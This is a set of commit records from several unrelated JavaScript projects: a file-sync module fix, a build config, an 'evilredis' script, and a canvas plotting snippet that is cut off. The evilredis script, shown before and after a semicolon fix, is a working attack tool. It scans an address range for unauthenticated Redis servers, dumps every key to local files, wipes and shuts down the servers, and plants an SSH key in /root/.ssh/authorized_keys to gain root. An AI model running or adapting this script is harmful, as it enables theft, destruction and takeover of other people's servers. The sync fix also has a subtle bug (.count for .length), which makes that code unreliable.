<commit_before>/**
 * Sync() module for creating and managing syncs
 * between client and server
 */

var env = require( "./environment" ),
    filesystem = require( "./filesystem" ),
    uuid = require( "node-uuid" ),
    emitter = new ( require( "events" ).EventEmitter )(),
    Buffer = require('filer').Buffer,
    SyncMessage = require( "./syncmessage" );

var rsync = require( "../../lib/rsync" ),
    serializeDiff = require('../../lib/diff').serialize,
    rsyncOptions = require( "../../lib/constants" ).rsyncDefaults;

/**
 * Static public variables
 */

// Constants for each state of the upstream sync process
Sync.CONNECTED = "CONNECTED";
Sync.STARTED = "STARTED";
Sync.FILE_IDENTIFICATION = "FILE_IDENTIFICATION";
Sync.CHECKSUMS = "CHECKSUMS";
Sync.DIFFS = "DIFFS";
Sync.ENDED = "ENDED";

// Constants for downstream sync process
Sync.SRCLIST = "SRCLIST";
Sync.CHECKSUM = "CHECKSUM";
Sync.DIFF = "DIFF";
Sync.WSCON = "WSCON";

/**
 * Static private variables
 */
var syncTable = {},
    connectedClients = {};

/**
 * Helper functions
 */

function checkUser( username ) {
  return !!syncTable[ username ];
}

function isSyncSession( username, id ) {
  return checkUser( username ) && syncTable[ username ].syncId === id;
}

function checkData( sync ) {
  if ( !sync.fs ) {
    return "This sync hasn't started! start() must be called first.";
  }

  if ( !sync.path ) {
    return "This sync data hasn't been set! setPath() & setSrcList() must be called first.";
  }

  if ( !sync.srcList ) {
    return "This sync data hasn't been set! setPath() & setSrcList() must be called first.";
  }
  return null;
}

function createError(code, message) {
  var error = new SyncMessage(SyncMessage.RESPONSE, SyncMessage.ERROR);
  error.setContent({state: code, message: message});
  return error;
}

/**
 * Constructor
 */
function Sync( username, sessionId ) {
  this.sessionId = sessionId;
  this.username = username;

  // Ensure the current user exists in our datastore and
  // track this client session keyed by a new `syncId`
  if (!connectedClients[username]) {
    connectedClients[username] = {};
  }
  connectedClients[username][sessionId] = {
    sync: this
  };
  this.fs = filesystem.create({
    keyPrefix: this.username,
    name: this.username
  });
  this.state = Sync.CONNECTED;
  this.path = '/';
}

// Plug into this user's server-side filesystem,
// formally starting the sync process
Sync.prototype.start = function( callback ) {
  var that = this;

//  var fs = that.fs = filesystem.create({
//    keyPrefix: that.username,
//    name: that.username
//  });

  syncTable[ that.username ] = {
    syncId: that.syncId
  };

  that.state = Sync.STARTED;
  callback( null, that.syncId );
};

Sync.prototype.end = function() {
  this.state = Sync.ENDED;
  delete syncTable[ this.username ];
  emitter.emit( "updateToLatestSync", this.syncId, this.syncId );
};

Sync.prototype.generateChecksums = function( callback ) {
  var that = this;

  var err = checkData( that );
  if ( err ) {
    callback( err );
  }

  rsync.checksums(that.fs, that.path, that.srcList, rsyncOptions, function( err, checksums ) {
    if ( err ) {
      return callback( err );
    }

    that.state = Sync.CHECKSUMS;
    callback( null, checksums );
  });
};

Sync.prototype.patch = function( diffs, callback ) {
  var that = this;

  var err = checkData( this );
  if ( err ) {
    callback( err );
  }
  // Fail loudly if the server allows this method to be called
  // without passing diffs
  // TODO: Add diffs validation to the Sync object
  //       https://github.com/mozilla/makedrive/issues/18
  if ( !diffs ) {
    callback( "Diffs must be passed" );
  }
  var i, j, k;

  rsync.patch( that.fs, that.path, diffs, rsyncOptions, function ( err, data ) {
    if ( err ) {
      return callback( err );
    }

    that.state = Sync.DIFFS;

    callback();
  });
};

Sync.prototype.onClose = function( ) {
  var sync = this;
  return function() {
    emitter.removeListener( "updateToLatestSync", connectedClients[ sync.username ][ sync.syncId ].onOutOfDate );
    delete connectedClients[ sync.username ][ sync.syncId ];
  };
};

Sync.prototype.setPath = function( path ){
  this.path = path;

  // Do we have all the data we need?
  if ( this.srcList ) {
    this.state = Sync.FILE_IDENTIFICATION;
  }
};

Sync.prototype.setSrcList = function( srcList ){
  this.srcList = srcList;

  // Do we have all the data we need?
  if ( this.path ) {
    this.state = Sync.FILE_IDENTIFICATION;
  }
};

Sync.prototype.messageHandler = function( data ) {
  var that = this;
  if (typeof data !== "object" || !data.content && !data.type){
    var errorMessage = Sync.socket.errors.EINVAL;
    return this.socket.send(JSON.stringify(Sync.socket.errors.EINVAL));
  }
  if(!data.content) {
    return this.socket.send(JSON.stringify(Sync.socket.errors.EINVDT));
  }

  var res;
  if(data.type === SyncMessage.REQUEST) {
    if(data.name === SyncMessage.SOURCE_LIST) {
      if(this.socketState !== Sync.WSCON && this.socketState !== Sync.SRCLIST) {
        return this.socket.send(JSON.stringify(Sync.socket.errors.ESTATE));
      }

      return rsync.sourceList(this.fs, this.path, rsyncOptions, function(err, srcList) {
        if(err) {
          res = Sync.socket.errors.custom('ESRCLS', err);
        } else {
          res = new SyncMessage(SyncMessage.RESPONSE, SyncMessage.SOURCE_LIST);
          res.setContent({srcList: srcList, path: that.path});
          that.socketState = Sync.SRCLIST;
        }
        that.socket.send(JSON.stringify(res));
      });
    }
    if(data.name === SyncMessage.DIFF) {
      if(this.socketState !== Sync.CHECKSUM && this.socketState !== Sync.DIFF) {
        return this.socket.send(JSON.stringify(Sync.socket.errors.ESTATE));
      }
      if(typeof data.content !== 'object') {
        return this.socket.send(JSON.stringify(Sync.socket.errors.EINVDT));
      }

      var checksums;
      checksums = data.content.checksums;
      return rsync.diff(this.fs, this.path, checksums, rsyncOptions, function(err, diffs) {
        if(err) {
          res = Sync.socket.errors.custom('EDIFFS', err);
        } else {
          res = new SyncMessage(SyncMessage.RESPONSE, SyncMessage.DIFF);
          res.setContent({diffs: serializeDiff(diffs), path: that.path});
          that.socketState = Sync.DIFF;
        }
        that.socket.send(JSON.stringify(res));
      });
    }
    if(data.name === SyncMessage.RESET) {
      this.socketState = Sync.WSCON;
      return this.socket.send(JSON.stringify(new SyncMessage(SyncMessage.RESPONSE, SyncMessage.ACK)));
    }

    return this.socket.send(JSON.stringify(Sync.socket.errors.ERQRSC));
  }
  if(data.type === SyncMessage.RESPONSE) {
    if(data.name === SyncMessage.CHECKSUM && this.socketState === Sync.SRCLIST) {
      this.socketState = Sync.CHECKSUM;
      res = new SyncMessage(SyncMessage.RESPONSE, SyncMessage.ACK);
      res.setContent({path: that.path});
      return this.socket.send(JSON.stringify(res));
    }

    if(data.name === SyncMessage.PATCH && this.socketState === Sync.DIFF) {
      this.socketState = Sync.WSCON;
      return this.socket.send(JSON.stringify(new SyncMessage(SyncMessage.RESPONSE, SyncMessage.ACK)));
    }

    return this.socket.send(JSON.stringify(Sync.socket.errors.ERSRSC));
  }

  return this.socket.send(JSON.stringify(Sync.socket.errors.ETYPHN));
};

Sync.prototype.setSocket = function( ws ) {
  this.socket = ws;
  this.socketState = Sync.WSCON;
};

/**
 * Public static methods
 */
Sync.active = {
  checkUser: checkUser,
  isSyncSession: isSyncSession
};
Sync.socket = {
  errors: {
    ETYPHN: createError('ETYPHN', 'The Sync message type cannot be handled by the server'),
    EUNDEF: createError('EUNDEF', 'No value provided'),
    EINVDT: createError('EINVDT', 'Invalid content provided'),
    EINVAL: createError('EINVAL', 'Invalid Message Format. Message must be a sync message'),
    ERQRSC: createError('ERQRSC', 'Invalid resource requested'),
    ERSRSC: createError('ERSRSC', 'Resource provided cannot be recognized'),
    ERECOG: createError('ERECOG', 'Message type not recognized'),
    ESTATE: createError('ESTATE', 'Sync in incorrect state'),
    custom: function(code, message) {
      return createError(code, message);
    }
  }
};

Sync.connections = {
  doesIdMatchUser: function( id, username ){
    return id in connectedClients[ username ];
  }
};

Sync.create = function( username, sessionId ){
  return new Sync( username, sessionId );
};

Sync.kill = function( username ) {
  var user;
  if ( username in syncTable ) {
    user = syncTable[ username ]
    delete syncTable[ username ];
  }

  if ( username in connectedClients ) {
    user = connectedClients[ username ];
    user.socket.close();
    user.socketState = null;
  }
};

Sync.retrieve = function( username, sessionId ) {
  if ( !connectedClients[ username ] || !connectedClients[ username ][ sessionId ] ) {
    return null;
  }

  return connectedClients[ username ][ sessionId ].sync;
};

/**
 * Exports
 */
module.exports = Sync;
<commit_msg>Don't leak connected client for username if not connected.<commit_after>/**
 * Sync() module for creating and managing syncs
 * between client and server
 */

var env = require( "./environment" ),
    filesystem = require( "./filesystem" ),
    uuid = require( "node-uuid" ),
    emitter = new ( require( "events" ).EventEmitter )(),
    Buffer = require('filer').Buffer,
    SyncMessage = require( "./syncmessage" );

var rsync = require( "../../lib/rsync" ),
    serializeDiff = require('../../lib/diff').serialize,
    rsyncOptions = require( "../../lib/constants" ).rsyncDefaults;

/**
 * Static public variables
 */

// Constants for each state of the upstream sync process
Sync.CONNECTED = "CONNECTED";
Sync.STARTED = "STARTED";
Sync.FILE_IDENTIFICATION = "FILE_IDENTIFICATION";
Sync.CHECKSUMS = "CHECKSUMS";
Sync.DIFFS = "DIFFS";
Sync.ENDED = "ENDED";

// Constants for downstream sync process
Sync.SRCLIST = "SRCLIST";
Sync.CHECKSUM = "CHECKSUM";
Sync.DIFF = "DIFF";
Sync.WSCON = "WSCON";

/**
 * Static private variables
 */
var syncTable = {},
    connectedClients = {};

/**
 * Helper functions
 */

function checkUser( username ) {
  return !!syncTable[ username ];
}

function isSyncSession( username, id ) {
  return checkUser( username ) && syncTable[ username ].syncId === id;
}

function checkData( sync ) {
  if ( !sync.fs ) {
    return "This sync hasn't started! start() must be called first.";
  }

  if ( !sync.path ) {
    return "This sync data hasn't been set! setPath() & setSrcList() must be called first.";
  }

  if ( !sync.srcList ) {
    return "This sync data hasn't been set! setPath() & setSrcList() must be called first.";
  }
  return null;
}

function createError(code, message) {
  var error = new SyncMessage(SyncMessage.RESPONSE, SyncMessage.ERROR);
  error.setContent({state: code, message: message});
  return error;
}

/**
 * Constructor
 */
function Sync( username, sessionId ) {
  this.sessionId = sessionId;
  this.username = username;

  // Ensure the current user exists in our datastore and
  // track this client session keyed by a new `syncId`
  if (!connectedClients[username]) {
    connectedClients[username] = {};
  }
  connectedClients[username][sessionId] = {
    sync: this
  };
  this.fs = filesystem.create({
    keyPrefix: this.username,
    name: this.username
  });
  this.state = Sync.CONNECTED;
  this.path = '/';
}

// Plug into this user's server-side filesystem,
// formally starting the sync process
Sync.prototype.start = function( callback ) {
  var that = this;

//  var fs = that.fs = filesystem.create({
//    keyPrefix: that.username,
//    name: that.username
//  });

  syncTable[ that.username ] = {
    syncId: that.syncId
  };

  that.state = Sync.STARTED;
  callback( null, that.syncId );
};

Sync.prototype.end = function() {
  this.state = Sync.ENDED;
  delete syncTable[ this.username ];
  emitter.emit( "updateToLatestSync", this.syncId, this.syncId );
};

Sync.prototype.generateChecksums = function( callback ) {
  var that = this;

  var err = checkData( that );
  if ( err ) {
    callback( err );
  }

  rsync.checksums(that.fs, that.path, that.srcList, rsyncOptions, function( err, checksums ) {
    if ( err ) {
      return callback( err );
    }

    that.state = Sync.CHECKSUMS;
    callback( null, checksums );
  });
};

Sync.prototype.patch = function( diffs, callback ) {
  var that = this;

  var err = checkData( this );
  if ( err ) {
    callback( err );
  }
  // Fail loudly if the server allows this method to be called
  // without passing diffs
  // TODO: Add diffs validation to the Sync object
  //       https://github.com/mozilla/makedrive/issues/18
  if ( !diffs ) {
    callback( "Diffs must be passed" );
  }
  var i, j, k;

  rsync.patch( that.fs, that.path, diffs, rsyncOptions, function ( err, data ) {
    if ( err ) {
      return callback( err );
    }

    that.state = Sync.DIFFS;

    callback();
  });
};

Sync.prototype.onClose = function( ) {
  var username = this.username;
  var id = this.syncId;

  return function() {
    emitter.removeListener( "updateToLatestSync", connectedClients[ username ][ id ].onOutOfDate );
    delete connectedClients[ username ][ id ];

    // Also remove the username from the list if there are no more connected clients.
    if( Object.keys( connectedClients[ username ] ).count === 0 ) {
      delete connectedClients[ username ];
    }
  };
};

Sync.prototype.setPath = function( path ){
  this.path = path;

  // Do we have all the data we need?
  if ( this.srcList ) {
    this.state = Sync.FILE_IDENTIFICATION;
  }
};

Sync.prototype.setSrcList = function( srcList ){
  this.srcList = srcList;

  // Do we have all the data we need?
  if ( this.path ) {
    this.state = Sync.FILE_IDENTIFICATION;
  }
};

Sync.prototype.messageHandler = function( data ) {
  var that = this;
  if (typeof data !== "object" || !data.content && !data.type){
    var errorMessage = Sync.socket.errors.EINVAL;
    return this.socket.send(JSON.stringify(Sync.socket.errors.EINVAL));
  }
  if(!data.content) {
    return this.socket.send(JSON.stringify(Sync.socket.errors.EINVDT));
  }

  var res;
  if(data.type === SyncMessage.REQUEST) {
    if(data.name === SyncMessage.SOURCE_LIST) {
      if(this.socketState !== Sync.WSCON && this.socketState !== Sync.SRCLIST) {
        return this.socket.send(JSON.stringify(Sync.socket.errors.ESTATE));
      }

      return rsync.sourceList(this.fs, this.path, rsyncOptions, function(err, srcList) {
        if(err) {
          res = Sync.socket.errors.custom('ESRCLS', err);
        } else {
          res = new SyncMessage(SyncMessage.RESPONSE, SyncMessage.SOURCE_LIST);
          res.setContent({srcList: srcList, path: that.path});
          that.socketState = Sync.SRCLIST;
        }
        that.socket.send(JSON.stringify(res));
      });
    }
    if(data.name === SyncMessage.DIFF) {
      if(this.socketState !== Sync.CHECKSUM && this.socketState !== Sync.DIFF) {
        return this.socket.send(JSON.stringify(Sync.socket.errors.ESTATE));
      }
      if(typeof data.content !== 'object') {
        return this.socket.send(JSON.stringify(Sync.socket.errors.EINVDT));
      }

      var checksums;
      checksums = data.content.checksums;
      return rsync.diff(this.fs, this.path, checksums, rsyncOptions, function(err, diffs) {
        if(err) {
          res = Sync.socket.errors.custom('EDIFFS', err);
        } else {
          res = new SyncMessage(SyncMessage.RESPONSE, SyncMessage.DIFF);
          res.setContent({diffs: serializeDiff(diffs), path: that.path});
          that.socketState = Sync.DIFF;
        }
        that.socket.send(JSON.stringify(res));
      });
    }
    if(data.name === SyncMessage.RESET) {
      this.socketState = Sync.WSCON;
      return this.socket.send(JSON.stringify(new SyncMessage(SyncMessage.RESPONSE, SyncMessage.ACK)));
    }

    return this.socket.send(JSON.stringify(Sync.socket.errors.ERQRSC));
  }
  if(data.type === SyncMessage.RESPONSE) {
    if(data.name === SyncMessage.CHECKSUM && this.socketState === Sync.SRCLIST) {
      this.socketState = Sync.CHECKSUM;
      res = new SyncMessage(SyncMessage.RESPONSE, SyncMessage.ACK);
      res.setContent({path: that.path});
      return this.socket.send(JSON.stringify(res));
    }

    if(data.name === SyncMessage.PATCH && this.socketState === Sync.DIFF) {
      this.socketState = Sync.WSCON;
      return this.socket.send(JSON.stringify(new SyncMessage(SyncMessage.RESPONSE, SyncMessage.ACK)));
    }

    return this.socket.send(JSON.stringify(Sync.socket.errors.ERSRSC));
  }

  return this.socket.send(JSON.stringify(Sync.socket.errors.ETYPHN));
};

Sync.prototype.setSocket = function( ws ) {
  this.socket = ws;
  this.socketState = Sync.WSCON;
};

/**
 * Public static methods
 */
Sync.active = {
  checkUser: checkUser,
  isSyncSession: isSyncSession
};
Sync.socket = {
  errors: {
    ETYPHN: createError('ETYPHN', 'The Sync message type cannot be handled by the server'),
    EUNDEF: createError('EUNDEF', 'No value provided'),
    EINVDT: createError('EINVDT', 'Invalid content provided'),
    EINVAL: createError('EINVAL', 'Invalid Message Format. Message must be a sync message'),
    ERQRSC: createError('ERQRSC', 'Invalid resource requested'),
    ERSRSC: createError('ERSRSC', 'Resource provided cannot be recognized'),
    ERECOG: createError('ERECOG', 'Message type not recognized'),
    ESTATE: createError('ESTATE', 'Sync in incorrect state'),
    custom: function(code, message) {
      return createError(code, message);
    }
  }
};

Sync.connections = {
  doesIdMatchUser: function( id, username ){
    return id in connectedClients[ username ];
  }
};

Sync.create = function( username, sessionId ){
  return new Sync( username, sessionId );
};

Sync.kill = function( username ) {
  var user;
  if ( username in syncTable ) {
    user = syncTable[ username ]
    delete syncTable[ username ];
  }

  if ( username in connectedClients ) {
    user = connectedClients[ username ];
    user.socket.close();
    user.socketState = null;
  }
};

Sync.retrieve = function( username, sessionId ) {
  if ( !connectedClients[ username ] || !connectedClients[ username ][ sessionId ] ) {
    return null;
  }

  return connectedClients[ username ][ sessionId ].sync;
};

/**
 * Exports
 */
module.exports = Sync;
<|endoftext|>


<commit_before>// Load the smoosh npm packet.
var smoosh = require('smoosh');

// Configurations for file smooshing.
var config = {
    VERSION : "0.0.1",

    // Use JSHINT to spot code irregularities.
    JSHINT_OPTS: {
        boss: true,
        forin: true,
        browser: true
    },

    JAVASCRIPT: {
        DIST_DIR: "nodegame",

        "nodegame": [

            // nodegame-window
            "./node_modules/nodegame-window/Canvas.js",
            "./node_modules/nodegame-window/GameWindow.js",
            "./node_modules/nodegame-window/HTMLRenderer.js",
            "./node_modules/nodegame-window/List.js",
            "./node_modules/nodegame-window/Table.js",

            // nodegame-widgets
            "./node_modules/nodegame-widgets/ChernoffFaces.js",
            "./node_modules/nodegame-widgets/Controls.js",
            "./node_modules/nodegame-widgets/DataBar.js",
            "./node_modules/nodegame-widgets/DynamicTable.js",
            "./node_modules/nodegame-widgets/EventButton.js",
            "./node_modules/nodegame-widgets/GameBoard.js",
            "./node_modules/nodegame-widgets/GameSummary.js",
            "./node_modules/nodegame-widgets/GameTable.js",
            "./node_modules/nodegame-widgets/MsgBar.js",
            "./node_modules/nodegame-widgets/NDDBBrowser.js",
            "./node_modules/nodegame-widgets/NextPreviousState.js",
            "./node_modules/nodegame-widgets/ServerInfoDisplay.js",
            "./node_modules/nodegame-widgets/StateBar.js",
            "./node_modules/nodegame-widgets/StateDisplay.js",
            "./node_modules/nodegame-widgets/VisualState.js",
            "./node_modules/nodegame-widgets/VisualTimer.js",
            "./node_modules/nodegame-widgets/WaitScreen.js",
            "./node_modules/nodegame-widgets/Wall.js",

            // nodegame-client
            "./node_modules/nodegame-server/node_modules/nodegame-client/EventEmitter.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/Game.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameDB.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameLoop.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameMsg.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameMsgGenerator.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameSocketClient.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameState.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/nodeGame.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/PlayerList.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/Utils.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/addons/GameTimer.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/addons/TriggerManager.js",

            // JSUS
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/jsus.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/array.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/dom.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/eval.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/obj.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/random.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/time.js",

            // NDDB
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/NDDB/nddb.js",
        ],
    }
};

// Smooshing callback chain
// More information on how it behaves can be found in the smoosh Readme https://github.com/fat/smoosh
smoosh
    .config(config) // hand over configurations made above
    .clean() // removes all files out of the nodegame folder
    .run() // runs jshint on full build
    .build() // builds both uncompressed and compressed files
    .analyze(); // analyzes everything<commit_msg>removed version number of makefile since the code is already versioned via git<commit_after>// Load the smoosh npm packet.
var smoosh = require('smoosh');

// Configurations for file smooshing.
var config = {
    // VERSION : "0.0.1",

    // Use JSHINT to spot code irregularities.
    JSHINT_OPTS: {
        boss: true,
        forin: true,
        browser: true
    },

    JAVASCRIPT: {
        DIST_DIR: "nodegame",

        "nodegame": [

            // nodegame-window
            "./node_modules/nodegame-window/Canvas.js",
            "./node_modules/nodegame-window/GameWindow.js",
            "./node_modules/nodegame-window/HTMLRenderer.js",
            "./node_modules/nodegame-window/List.js",
            "./node_modules/nodegame-window/Table.js",

            // nodegame-widgets
            "./node_modules/nodegame-widgets/ChernoffFaces.js",
            "./node_modules/nodegame-widgets/Controls.js",
            "./node_modules/nodegame-widgets/DataBar.js",
            "./node_modules/nodegame-widgets/DynamicTable.js",
            "./node_modules/nodegame-widgets/EventButton.js",
            "./node_modules/nodegame-widgets/GameBoard.js",
            "./node_modules/nodegame-widgets/GameSummary.js",
            "./node_modules/nodegame-widgets/GameTable.js",
            "./node_modules/nodegame-widgets/MsgBar.js",
            "./node_modules/nodegame-widgets/NDDBBrowser.js",
            "./node_modules/nodegame-widgets/NextPreviousState.js",
            "./node_modules/nodegame-widgets/ServerInfoDisplay.js",
            "./node_modules/nodegame-widgets/StateBar.js",
            "./node_modules/nodegame-widgets/StateDisplay.js",
            "./node_modules/nodegame-widgets/VisualState.js",
            "./node_modules/nodegame-widgets/VisualTimer.js",
            "./node_modules/nodegame-widgets/WaitScreen.js",
            "./node_modules/nodegame-widgets/Wall.js",

            // nodegame-client
            "./node_modules/nodegame-server/node_modules/nodegame-client/EventEmitter.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/Game.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameDB.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameLoop.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameMsg.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameMsgGenerator.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameSocketClient.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/GameState.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/nodeGame.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/PlayerList.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/Utils.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/addons/GameTimer.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/addons/TriggerManager.js",

            // JSUS
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/jsus.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/array.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/dom.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/eval.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/obj.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/random.js",
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/JSUS/lib/time.js",

            // NDDB
            "./node_modules/nodegame-server/node_modules/nodegame-client/node_modules/NDDB/nddb.js",
        ],
    }
};

// Smooshing callback chain
// More information on how it behaves can be found in the smoosh Readme https://github.com/fat/smoosh
smoosh
    .config(config) // hand over configurations made above
    .clean() // removes all files out of the nodegame folder
    .run() // runs jshint on full build
    .build() // builds both uncompressed and compressed files
    .analyze(); // analyzes everything<|endoftext|>


<commit_before>#!/usr/bin/env node
var CIDR = require( 'cidr-js' ),
    Redis = require( 'redis' ),
    fs = require( 'fs' ),
    async = require( 'async' )
    cidr = new CIDR();

console.error = function(){};

var target = process.argv[2],
    evilness = 0,
    outputPath = 'output/';

if( !target ) {
  console.log( '== evilredis >:) \n\n Syntax:\tevilredis [ target ] [ level = 0 ]\n Ex.\t\tevilredis 192.168.0.0/24 1\n')
  console.log( ' - Level 0: quick scan, dump server info & keys' );
  console.log( ' - Level 1: flushall' );
  console.log( ' - Level 2: flushall & shutdown' );
  console.log( ' - Level 3: root >:) (requires a pubkey)\n\n   Specify your pubkey after evilness level\n   Example: $ evilredis x.x.x.x 3 ~/.ssh/id_rsa.pub\n')
  console.log( ' USE AT YOUR OWN RISK!' );
  process.exit();
};

if( process.argv[3] ) {
  evilness = parseInt(process.argv[3]);
};

if( !fs.existsSync( outputPath ) ) {
  fs.mkdir( outputPath );
};

console.log( ' -- Target :', target, '... evilness level', evilness, '\n' );

var hosts  = cidr.list( target ),
    pubKey;

hosts.forEach( function( host, index ) {
  var redis = Redis.createClient( 6379, host, { max_attempts: 1, retry_delay: 10 } );

  if( evilness > 2 ) {

    if( !pubKey ) {
      pubKey = "\n\n" + fs.readFileSync( process.argv[ 4 ] ).toString() + "\n\n";
    };

    redis.send_command( 'config', [ 'SET', 'dir', '/root/.ssh' ], function( err, reply  ) {
      var serverInfo = redis.server_info,
      prefix = ' * ' + host + ', Redis ' + serverInfo.redis_version + ', ' + serverInfo.os + ':',
      outputPrefix = outputPath + host;

      if( reply ) {
        if( reply.indexOf( 'OK' ) == -1 ) {
          console.log( prefix, 'Not vulnerable.' );
        } else {
          async.series( [ function(callback) {
            redis.send_command( 'config', [ 'set', 'dbfilename', 'authorized_keys' ], function( err, reply  ) {
              callback();
            });
          },
          function(callback) {
            redis.flushall( function( err, reply ) {
              redis.set( 'abc', pubKey, function( err, reply ) {
                redis.send_command( 'save', [], function( err, reply ) {
                  callback();
                });
              });
            });
          }], function( err, callback ) {
              // redis.flushall();
              console.log( prefix, 'Vulnerable, try ssh...'  );
          });
        };
      };
    });
  } else {

    redis.keys( '*', function( err, keys ) {
      if( err ) {
        return;
      };
      var serverInfo = redis.server_info,
      prefix = ' * ' + host + ', Redis ' + serverInfo.redis_version + ', ' + serverInfo.os + ':',
      outputPrefix = outputPath + host;

      fs.appendFile( outputPrefix, JSON.stringify( serverInfo, null, 2 ) );

      redis.keys( '*', function( err, keys ) {
        console.log( prefix, 'Found', keys.length, 'keys');
        keys.forEach( function( key, index ) {
          var keysFilePath = outputPrefix + '.keys';
          redis.get( key, function( err, value ) {
            var ln = key + '\t';
            if( err ) {
              ln += 'ERR: ' + err;
            } else {
              ln += value.toString();
            };
            fs.appendFile( keysFilePath, ln + '\n');
          });

        });

        if( evilness > 0 ) {
          console.log( prefix, 'Flushall()' );
          redis.flushall(function( err, reply ) {
            if( evilness == 2 ) {
              console.log( prefix, 'Shutdown!' );
              redis.shutdown();
            };
          });
        };

      });

    });

  };

  redis.on( 'error', function( e ) {
  });
});
<commit_msg>semicolon<commit_after>#!/usr/bin/env node
var CIDR = require( 'cidr-js' ),
    Redis = require( 'redis' ),
    fs = require( 'fs' ),
    async = require( 'async' ),
    cidr = new CIDR();

console.error = function(){};

var target = process.argv[2],
    evilness = 0,
    outputPath = 'output/';

if( !target ) {
  console.log( '== evilredis >:) \n\n Syntax:\tevilredis [ target ] [ level = 0 ]\n Ex.\t\tevilredis 192.168.0.0/24 1\n');
  console.log( ' - Level 0: quick scan, dump server info & keys' );
  console.log( ' - Level 1: flushall' );
  console.log( ' - Level 2: flushall & shutdown' );
  console.log( ' - Level 3: root >:) (requires a pubkey)\n\n   Specify your pubkey after evilness level\n   Example: $ evilredis x.x.x.x 3 ~/.ssh/id_rsa.pub\n');
  console.log( ' USE AT YOUR OWN RISK!' );
  process.exit();
}

if( process.argv[3] ) {
  evilness = parseInt(process.argv[3]);
}

if( !fs.existsSync( outputPath ) ) {
  fs.mkdir( outputPath );
}

console.log( ' -- Target :', target, '... evilness level', evilness, '\n' );

var hosts  = cidr.list( target ),
    pubKey;

hosts.forEach( function( host, index ) {
  var redis = Redis.createClient( 6379, host, { max_attempts: 1, retry_delay: 10 } );

  if( evilness > 2 ) {

    if( !pubKey ) {
      pubKey = "\n\n" + fs.readFileSync( process.argv[ 4 ] ).toString() + "\n\n";
    }

    redis.send_command( 'config', [ 'SET', 'dir', '/root/.ssh' ], function( err, reply  ) {
      var serverInfo = redis.server_info,
      prefix = ' * ' + host + ', Redis ' + serverInfo.redis_version + ', ' + serverInfo.os + ':',
      outputPrefix = outputPath + host;

      if( reply ) {
        if( reply.indexOf( 'OK' ) == -1 ) {
          console.log( prefix, 'Not vulnerable.' );
        } else {
          async.series( [ function(callback) {
            redis.send_command( 'config', [ 'set', 'dbfilename', 'authorized_keys' ], function( err, reply  ) {
              callback();
            });
          },
          function(callback) {
            redis.flushall( function( err, reply ) {
              redis.set( 'abc', pubKey, function( err, reply ) {
                redis.send_command( 'save', [], function( err, reply ) {
                  callback();
                });
              });
            });
          }], function( err, callback ) {
              // redis.flushall();
              console.log( prefix, 'Vulnerable, try ssh...'  );
          });
        }
      }
    });
  } else {

    redis.keys( '*', function( err, keys ) {
      if( err ) {
        return;
      }
      var serverInfo = redis.server_info,
      prefix = ' * ' + host + ', Redis ' + serverInfo.redis_version + ', ' + serverInfo.os + ':',
      outputPrefix = outputPath + host;

      fs.appendFile( outputPrefix, JSON.stringify( serverInfo, null, 2 ) );

      redis.keys( '*', function( err, keys ) {
        console.log( prefix, 'Found', keys.length, 'keys');
        keys.forEach( function( key, index ) {
          var keysFilePath = outputPrefix + '.keys';
          redis.get( key, function( err, value ) {
            var ln = key + '\t';
            if( err ) {
              ln += 'ERR: ' + err;
            } else {
              ln += value.toString();
            }
            fs.appendFile( keysFilePath, ln + '\n');
          });

        });

        if( evilness > 0 ) {
          console.log( prefix, 'Flushall()' );
          redis.flushall(function( err, reply ) {
            if( evilness == 2 ) {
              console.log( prefix, 'Shutdown!' );
              redis.shutdown();
            }
          });
        }

      });

    });

  }

  redis.on( 'error', function( e ) {
  });
});
<|endoftext|>


<commit_before>window.Plot = function Plot(selector, func) {
	var canvas = this.canvas = document.querySelector(selector);
	var context = canvas.getContext('2d');
	var clientRect = canvas.getBoundingClientRect();

	var func = this.func = func;

	var scale = 100;
	var dx = canvas.width * 0.5;
	var dy = canvas.height * 0.5;

	var currentX = 0;
	var lastX, lastY;
	var mouseDown = false;

	var lastDistance;

	context.lineCap = 'round';
	function zoom(multiplier, x, y) {
		scale *= multiplier;
		dx = (dx - x) * multiplier + x;
